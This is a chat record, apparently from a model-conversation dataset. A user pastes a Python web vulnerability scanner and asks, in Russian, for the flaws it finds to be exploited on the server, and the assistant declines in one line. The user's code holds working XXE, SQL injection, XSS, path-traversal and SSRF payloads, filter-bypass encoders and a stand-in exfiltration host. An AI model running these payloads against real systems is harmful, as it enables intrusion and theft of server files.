turns-00041.parquet:33682
5d49fab05192718bd7e7ae4d
turn 1/1o1-mini-2024-09-12EnglishRussia2397 words
degenerate_repetitionAbsentFinal dense release
USER
после нахождения , провеить те кторорые были найдены эксплотировать эих на сервер
import requests
import sys
import urllib.parse
import re
import concurrent.futures
import logging
from urllib.parse import quote, urljoin
from urllib.parse import parse_qs, urlparse
import urllib3
# Отключение предупреждений о неподтверждённых SSL-сертификатах
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Настройка логирования
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[
logging.FileHandler("vulnerability_scan.log", encoding="utf-8"),
logging.StreamHandler(sys.stdout)
]
)
def encode_payload(payload, encoding_type):
if encoding_type == 'url':
return quote(payload)
elif encoding_type == 'unicode':
return ''.join([f'&#x{ord(c):x};' for c in payload])
elif encoding_type == 'double_url':
return quote(quote(payload))
else:
return payload
def generate_bypass_payloads(payload):
bypass_payloads = []
encodings = ['url', 'unicode', 'double_url']
for encoding in encodings:
encoded = encode_payload(payload, encoding)
bypass_payloads.append({
'description': f'Payload с обходом фильтра ({encoding})',
'payload': encoded
})
# Изменение регистра
bypass_payloads.append({
'description': 'Payload с изменением регистра',
'payload': payload.swapcase()
})
# Разделение строки с использованием комментариев
bypass_payloads.append({
'description': 'Payload с разделением строки и комментариями',
'payload': payload.replace('(', '(%0A)')
})
return bypass_payloads
def scan_xxe(url, params, headers):
"""
Функция для проверки уязвимости XXE
"""
logging.info("[*] Запуск проверки XXE...")
vulnerable = False
results = []
successful_tests = []
# Базовые XXE payload'ы
base_payloads = [
{
"description": "Попытка чтения /etc/passwd",
"payload": '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>'''
},
{
"description": "Попытка чтения файла Windows system",
"payload": '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" >]>
<foo>&xxe;</foo>'''
},
# Добавьте дополнительные базовые payload'ы при необходимости
]
# Генерация обходных payload'ов для фильтров
all_payloads = []
for base in base_payloads:
all_payloads.append(base)
bypasses = generate_bypass_payloads(base['payload'])
all_payloads.extend(bypasses)
# Регулярные выражения для поиска специфических ошибок DTD
dtd_errors = [
re.compile(r'DOCTYPE', re.IGNORECASE),
re.compile(r'XML parsing error', re.IGNORECASE),
re.compile(r'not allowed to load external entity', re.IGNORECASE),
re.compile(r'DTD', re.IGNORECASE),
re.compile(r'SAXException', re.IGNORECASE),
re.compile(r'EntityExpansionLimit', re.IGNORECASE),
]
def process_payload(idx, payload_struct):
nonlocal vulnerable
payload = payload_struct["payload"]
description = payload_struct["description"]
result = {
"test_number": idx,
"vulnerability": "XXE",
"description": description,
"vulnerable": False,
"details": "",
"response": ""
}
logging.info(f"\n[+] XXE Тест {idx}: {description}")
try:
response = requests.post(url, data=payload, headers=headers, timeout=10, verify=False)
content = response.text
result["response"] = content
# Проверка наличия содержимого /etc/passwd
if "root:" in content:
result["vulnerable"] = True
result["details"] = "Найдена строка 'root:' в ответе."
logging.info(f" [+] Уязвимость XXE обнаружена с payload: {description}")
vulnerable = True
return result
# Проверка на специфические строки, связанные с путями файлов
specific_strings = [
"/etc/hosts", "Windows", "system32", "apache2", "docker", "my.cnf",
"application.properties", "config.php", "secret.txt", "config.json",
"php.ini", "sshd_config", "main.cf", "redis.conf", "elasticsearch.yml",
"grafana.ini", "config.xml", "kubelet.conf", "syslog", "daemon.json",
"postgresql.conf", "nginx.conf", "hosts", "Win.INI", "hosts"
]
for s in specific_strings:
if s.lower() in content.lower():
result["vulnerable"] = True
result["details"] = f"Найдена строка '{s}' в ответе."
logging.info(f" [+] Уязвимость XXE обнаружена с payload: {description}")
vulnerable = True
return result
# Проверка на наличие DTD или специфических ошибок XML
for error_pattern in dtd_errors:
if error_pattern.search(content):
result["vulnerable"] = True
result["details"] = f"Найдена ошибка связанная с DTD: {error_pattern.pattern}"
logging.warning(f" [!] Возможный признак обработки DTD или ошибки парсинга: {error_pattern.pattern}")
vulnerable = True
return result
# Проверка на наличие URL, использованных в SSRF
if "yourserver.com/exfiltrate" in content or "attacker.com" in content:
result["vulnerable"] = True
result["details"] = "Обнаружены попытки exfiltration через SSRF."
logging.info(f" [+] Уязвимость XXE обнаружена с payload: {description}")
vulnerable = True
return result
# Проверка на наличие комментариев, содержащих данные
if "&xxe;" in content:
result["vulnerable"] = True
result["details"] = "Возможно, данные переданы через комментарии или CDATA."
logging.warning(f" [!] Возможно, данные переданы через комментарии или CDATA.")
vulnerable = True
return result
logging.info(f" [-] Уязвимость XXE не обнаружена с данным payload.")
return result
except requests.exceptions.RequestException as e:
result["details"] = f"Ошибка при запросе: {e}"
logging.error(f" [!] Ошибка при запросе: {e}")
return result
except Exception as ex:
result["details"] = f"Неожиданная ошибка: {ex}"
logging.error(f" [!] Неожиданная ошибка: {ex}")
return result
# Использование пула потоков для параллельной отправки запросов
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in enumerate(all_payloads, start=1)}
for future in concurrent.futures.as_completed(future_to_payload):
idx = future_to_payload[future]
try:
result = future.result()
results.append(result)
if result["vulnerable"]:
successful_tests.append(result)
except Exception as exc:
logging.error(f" [!] Тест {idx} сгенерировал исключение: {exc}")
# Вывод ответов от сервера для успешных тестов
if successful_tests:
logging.info("\n=== Ответы от сервера для успешных тестов XXE ===\n")
for res in successful_tests:
logging.info(f"Тест {res['test_number']}: {res['description']}")
logging.info(f"Уязвимость обнаружена: Да")
logging.info(f"Детали: {res['details']}")
logging.info(f"Ответ сервера:\n{res['response']}\n{'-'*60}\n")
else:
logging.info("\n[-] Уязвимость XXE не обнаружена с использованием предоставленных тестов.")
return vulnerable, results
def scan_sqli(url, params, headers):
"""
Функция для проверки уязвимости SQL Injection
"""
logging.info("[*] Запуск проверки SQL Injection...")
vulnerable = False
results = []
successful_tests = []
# Базовые SQLi payload'ы
base_payloads = [
{
"description": "Тест с одиночной кавычкой (')",
"payload": "'"
},
{
"description": "Тест с SQL-комментарием --",
"payload": "'-- "
},
{
"description": "Тест с закрытием кавычки и добавлением OR 1=1",
"payload": "' OR '1'='1"
},
# Добавьте дополнительные payload'ы при необходимости
]
# Генерация обходных payload'ов для фильтров
all_payloads = []
for base in base_payloads:
all_payloads.append(base)
bypasses = generate_bypass_payloads(base['payload'])
all_payloads.extend(bypasses)
def process_payload(idx, payload_struct):
nonlocal vulnerable
payload = payload_struct["payload"]
description = payload_struct["description"]
result = {
"test_number": idx,
"vulnerability": "SQL Injection",
"description": description,
"vulnerable": False,
"details": "",
"response": ""
}
logging.info(f"\n[+] SQLi Тест {idx}: {description}")
try:
# Вставляем payload во все параметры по очереди
for param in params:
data = params.copy()
data[param] = payload
response = requests.post(url, data=data, headers=headers, timeout=10, verify=False)
content = response.text
result["response"] = content
# Простейшая проверка на SQL-ошибки
error_patterns = [
re.compile(r"you have an error in your sql syntax", re.IGNORECASE),
re.compile(r"warning: mysql", re.IGNORECASE),
re.compile(r"unclosed quotation mark after the character string", re.IGNORECASE),
re.compile(r"quoted string not properly terminated", re.IGNORECASE),
]
for pattern in error_patterns:
if pattern.search(content):
result["vulnerable"] = True
result["details"] = f"Найдена ошибка SQL: {pattern.pattern}"
logging.info(f" [+] Уязвимость SQL Injection обнаружена с payload: {description}")
vulnerable = True
return result
logging.info(f" [-] Уязвимость SQL Injection не обнаружена с данным payload.")
return result
except requests.exceptions.RequestException as e:
result["details"] = f"Ошибка при запросе: {e}"
logging.error(f" [!] Ошибка при запросе: {e}")
return result
except Exception as ex:
result["details"] = f"Неожиданная ошибка: {ex}"
logging.error(f" [!] Неожиданная ошибка: {ex}")
return result
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in enumerate(all_payloads, start=1)}
for future in concurrent.futures.as_completed(future_to_payload):
idx = future_to_payload[future]
try:
result = future.result()
results.append(result)
if result["vulnerable"]:
successful_tests.append(result)
except Exception as exc:
logging.error(f" [!] Тест {idx} сгенерировал исключение: {exc}")
# Вывод ответов от сервера для успешных тестов
if successful_tests:
logging.info("\n=== Ответы от сервера для успешных тестов SQL Injection ===\n")
for res in successful_tests:
logging.info(f"Тест {res['test_number']}: {res['description']}")
logging.info(f"Уязвимость обнаружена: Да")
logging.info(f"Детали: {res['details']}")
logging.info(f"Ответ сервера:\n{res['response']}\n{'-'*60}\n")
else:
logging.info("\n[-] Уязвимость SQL Injection не обнаружена с использованием предоставленных тестов.")
return vulnerable, results
def scan_xss(url, params, headers):
"""
Функция для проверки уязвимости Cross-Site Scripting (XSS)
"""
logging.info("[*] Запуск проверки Cross-Site Scripting (XSS)...")
vulnerable = False
results = []
successful_tests = []
# Базовые XSS payload'ы
base_payloads = [
{
"description": "Тест с простым скриптом",
"payload": "<script>alert('XSS')</script>"
},
{
"description": "Тест с событием onclick",
"payload": "\"><img src=x onerror=alert('XSS')>"
},
{
"description": "Тест с использованием SVG",
"payload": "<svg/onload=alert('XSS')>"
},
# Добавьте дополнительные payload'ы при необходимости
]
# Генерация обходных payload'ов для фильтров
all_payloads = []
for base in base_payloads:
all_payloads.append(base)
bypasses = generate_bypass_payloads(base['payload'])
all_payloads.extend(bypasses)
def process_payload(idx, payload_struct):
nonlocal vulnerable
payload = payload_struct["payload"]
description = payload_struct["description"]
result = {
"test_number": idx,
"vulnerability": "XSS",
"description": description,
"vulnerable": False,
"details": "",
"response": ""
}
logging.info(f"\n[+] XSS Тест {idx}: {description}")
try:
# Вставляем payload во все параметры по очереди
for param in params:
data = params.copy()
data[param] = payload
response = requests.post(url, data=data, headers=headers, timeout=10, verify=False)
content = response.text
result["response"] = content
# Проверка отражения payload
if payload in content:
result["vulnerable"] = True
result["details"] = "Payload отражён в ответе."
logging.info(f" [+] Уязвимость XSS обнаружена с payload: {description}")
vulnerable = True
return result
logging.info(f" [-] Уязвимость XSS не обнаружена с данным payload.")
return result
except requests.exceptions.RequestException as e:
result["details"] = f"Ошибка при запросе: {e}"
logging.error(f" [!] Ошибка при запросе: {e}")
return result
except Exception as ex:
result["details"] = f"Неожиданная ошибка: {ex}"
logging.error(f" [!] Неожиданная ошибка: {ex}")
return result
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in enumerate(all_payloads, start=1)}
for future in concurrent.futures.as_completed(future_to_payload):
idx = future_to_payload[future]
try:
result = future.result()
results.append(result)
if result["vulnerable"]:
successful_tests.append(result)
except Exception as exc:
logging.error(f" [!] Тест {idx} сгенерировал исключение: {exc}")
# Вывод ответов от сервера для успешных тестов
if successful_tests:
logging.info("\n=== Ответы от сервера для успешных тестов XSS ===\n")
for res in successful_tests:
logging.info(f"Тест {res['test_number']}: {res['description']}")
logging.info(f"Уязвимость обнаружена: Да")
logging.info(f"Детали: {res['details']}")
logging.info(f"Ответ сервера:\n{res['response']}\n{'-'*60}\n")
else:
logging.info("\n[-] Уязвимость XSS не обнаружена с использованием предоставленных тестов.")
return vulnerable, results
def scan_lfi(url, params, headers):
"""
Функция для проверки уязвимости Local File Inclusion (LFI)
"""
logging.info("[*] Запуск проверки Local File Inclusion (LFI)...")
vulnerable = False
results = []
successful_tests = []
# Базовые LFI payload'ы
base_payloads = [
{
"description": "Попытка включения /etc/passwd",
"payload": "../../../../../../etc/passwd"
},
{
"description": "Попытка включения /windows/win.ini",
"payload": "../../../../../../windows/win.ini"
},
{
"description": "Попытка включения веб-приложения конфигурации (config.php)",
"payload": "../../../../../../var/www/html/config.php"
},
# Добавьте дополнительные payload'ы при необходимости
]
# Генерация обходных payload'ов для фильтров
all_payloads = []
for base in base_payloads:
all_payloads.append(base)
bypasses = generate_bypass_payloads(base['payload'])
all_payloads.extend(bypasses)
def process_payload(idx, payload_struct):
nonlocal vulnerable
payload = payload_struct["payload"]
description = payload_struct["description"]
result = {
"test_number": idx,
"vulnerability": "LFI",
"description": description,
"vulnerable": False,
"details": "",
"response": ""
}
logging.info(f"\n[+] LFI Тест {idx}: {description}")
try:
# Вставляем payload во все параметры по очереди
for param in params:
data = params.copy()
data[param] = payload
response = requests.get(url, params=data, headers=headers, timeout=10, verify=False)
content = response.text
result["response"] = content
# Проверка наличия специфических строк в ответе
if "root:x:" in content or "Windows" in content or "config.php" in content:
result["vulnerable"] = True
result["details"] = "Возможен доступ к локальным файлам."
logging.info(f" [+] Уязвимость LFI обнаружена с payload: {description}")
vulnerable = True
return result
logging.info(f" [-] Уязвимость LFI не обнаружена с данным payload.")
return result
except requests.exceptions.RequestException as e:
result["details"] = f"Ошибка при запросе: {e}"
logging.error(f" [!] Ошибка при запросе: {e}")
return result
except Exception as ex:
result["details"] = f"Неожиданная ошибка: {ex}"
logging.error(f" [!] Неожиданная ошибка: {ex}")
return result
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in enumerate(all_payloads, start=1)}
for future in concurrent.futures.as_completed(future_to_payload):
idx = future_to_payload[future]
try:
result = future.result()
results.append(result)
if result["vulnerable"]:
successful_tests.append(result)
except Exception as exc:
logging.error(f" [!] Тест {idx} сгенерировал исключение: {exc}")
# Вывод ответов от сервера для успешных тестов
if successful_tests:
logging.info("\n=== Ответы от сервера для успешных тестов LFI ===\n")
for res in successful_tests:
logging.info(f"Тест {res['test_number']}: {res['description']}")
logging.info(f"Уязвимость обнаружена: Да")
logging.info(f"Детали: {res['details']}")
logging.info(f"Ответ сервера:\n{res['response']}\n{'-'*60}\n")
else:
logging.info("\n[-] Уязвимость LFI не обнаружена с использованием предоставленных тестов.")
return vulnerable, results
def scan_ssrf(url, params, headers):
"""
Функция для проверки уязвимости Server-Side Request Forgery (SSRF)
"""
logging.info("[*] Запуск проверки Server-Side Request Forgery (SSRF)...")
vulnerable = False
results = []
successful_tests = []
# Предполагаемый сервер для exfiltration (например, ваш сервер для получения запросов)
exfiltration_server = "yourserver.com"
# Базовые SSRF payload'ы
base_payloads = [
{
"description": "Тест с внутренним IP-адресом",
"payload": "http://127.0.0.1"
},
{
"description": "Тест с локальным портом",
"payload": "http://localhost:8080"
},
{
"description": "Тест с DNS-имёнованием",
"payload": "http://localhost.domain.com"
},
# Добавьте дополнительные payload'ы при необходимости
]
# Генерация обходных payload'ов для фильтров
all_payloads = []
for base in base_payloads:
all_payloads.append(base)
bypasses = generate_bypass_payloads(base['payload'])
all_payloads.extend(bypasses)
def process_payload(idx, payload_struct):
nonlocal vulnerable
payload = payload_struct["payload"]
description = payload_struct["description"]
test_url = f"http://{exfiltration_server}/exfiltrate?url={payload}"
result = {
"test_number": idx,
"vulnerability": "SSRF",
"description": description,
"vulnerable": False,
"details": "",
"response": ""
}
logging.info(f"\n[+] SSRF Тест {idx}: {description}")
try:
# Вставляем payload во все параметры по очереди
for param in params:
data = params.copy()
data[param] = payload
response = requests.get(url, params=data, headers=headers, timeout=10, verify=False)
content = response.text
result["response"] = content
# Проверка на exfiltration
# Предполагается, что exfiltration_server получает запросы, и вы можете проверять логи сервера
# Здесь мы просто проверяем ответ на наличие специфических признаков
if exfiltration_server in content:
result["vulnerable"] = True
result["details"] = "Запрос был отправлен на exfiltration сервер."
logging.info(f" [+] Уязвимость SSRF обнаружена с payload: {description}")
vulnerable = True
return result
logging.info(f" [-] Уязвимость SSRF не обнаружена с данным payload.")
return result
except requests.exceptions.RequestException as e:
result["details"] = f"Ошибка при запросе: {e}"
logging.error(f" [!] Ошибка при запросе: {e}")
return result
except Exception as ex:
result["details"] = f"Неожиданная ошибка: {ex}"
logging.error(f" [!] Неожиданная ошибка: {ex}")
return result
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
future_to_payload = {executor.submit(process_payload, idx, p): idx for idx, p in enumerate(all_payloads, start=1)}
for future in concurrent.futures.as_completed(future_to_payload):
idx = future_to_payload[future]
try:
result = future.result()
results.append(result)
if result["vulnerable"]:
successful_tests.append(result)
except Exception as exc:
logging.error(f" [!] Тест {idx} сгенерировал исключение: {exc}")
# Вывод ответов от сервера для успешных тестов
if successful_tests:
logging.info("\n=== Ответы от сервера для успешных тестов SSRF ===\n")
for res in successful_tests:
logging.info(f"Тест {res['test_number']}: {res['description']}")
logging.info(f"Уязвимость обнаружена: Да")
logging.info(f"Детали: {res['details']}")
logging.info(f"Ответ сервера:\n{res['response']}\n{'-'*60}\n")
else:
logging.info("\n[-] Уязвимость SSRF не обнаружена с использованием предоставленных тестов.")
return vulnerable, results
def main_scan(url):
"""
Главная функция для выполнения всех сканирований
"""
headers = {
'Content-Type': 'application/x-www-form-urlencoded', # Общий тип контента, можно настроить при необходимости
}
# Определение методов и уязвимостей для сканирования
vulnerabilities = {
"XXE": scan_xxe,
"SQL Injection": scan_sqli,
"XSS": scan_xss,
"LFI": scan_lfi,
"SSRF": scan_ssrf,
# Добавьте дополнительные уязвимости и соответствующие функции здесь
}
# Предполагается, что параметры передаются через GET или POST
# Для упрощения примера будем использовать POST-данные
# Вы можете расширить это, например, анализируя URL на наличие GET-параметров
method = input("Выберите метод запроса (GET/POST): ").strip().lower()
if method not in ['get', 'post']:
logging.error("Некорректный метод. Пожалуйста, выберите 'GET' или 'POST'.")
sys.exit(1)
if method == 'get':
parsed_url = urlparse(url)
query_params = parse_qs(parsed_url.query)
params = {k: v[0] for k, v in query_params.items()}
else:
# Для POST-запросов предполагаем, что параметры будут запрошены у пользователя
# В реальных случаях можно автоматизировать получение параметров
params = {}
while True:
param = input("Введите имя параметра (или нажмите Enter для завершения): ").strip()
if not param:
break
value = input(f"Введите значение для параметра '{param}': ").strip()
params[param] = value
if not params:
logging.error("Не были предоставлены параметры для сканирования.")
sys.exit(1)
logging.info(f"URL: {url}")
logging.info(f"Метод: {method.upper()}")
logging.info(f"Параметры: {params}")
# Выполнение сканирования для каждой уязвимости
scan_results = {}
for vuln_name, vuln_func in vulnerabilities.items():
logging.info(f"\n=== Проверка на уязвимость: {vuln_name} ===")
if method == 'get':
vuln_vulnerable, results = vuln_func(url, params, headers)
else:
vuln_vulnerable, results = vuln_func(url, params, headers)
scan_results[vuln_name] = {
"vulnerable": vuln_vulnerable,
"results": results
}
# Сохранение результатов в файл
with open("vulnerability_scan_results.txt", "w", encoding="utf-8") as f:
for vuln, data in scan_results.items():
f.write(f"=== Уязвимость: {vuln} ===\n")
f.write(f"Уязвимость обнаружена: {'Да' if data['vulnerable'] else 'Нет'}\n")
for res in data['results']:
f.write(f"Тест {res['test_number']}: {res['description']}\n")
f.write(f" Уязвимость обнаружена: {'Да' if res['vulnerable'] else 'Нет'}\n")
if res['details']:
f.write(f" Детали: {res['details']}\n")
if res['vulnerable']:
f.write(f" Ответ сервера:\n{res['response']}\n")
f.write("\n")
f.write("\n\n")
# Итоговый вывод
for vuln, data in scan_results.items():
if data['vulnerable']:
logging.info(f"[+] Уязвимость {vuln} обнаружена.")
else:
logging.info(f"[-] Уязвимость {vuln} не обнаружена.")
if __name__ == "__main__":
target_url = input("Введите URL для сканирования (например, https://example.com/login): ").strip()
# Проверка корректности URL
parsed_url = urllib.parse.urlparse(target_url)
if not parsed_url.scheme or not parsed_url.netloc:
logging.error("[-] Некорректный URL. Пожалуйста, введите полный URL, включая схему (http:// или https://).")
sys.exit(1)
main_scan(target_url)ASSISTANT
Извините, но я не могу помочь с этим.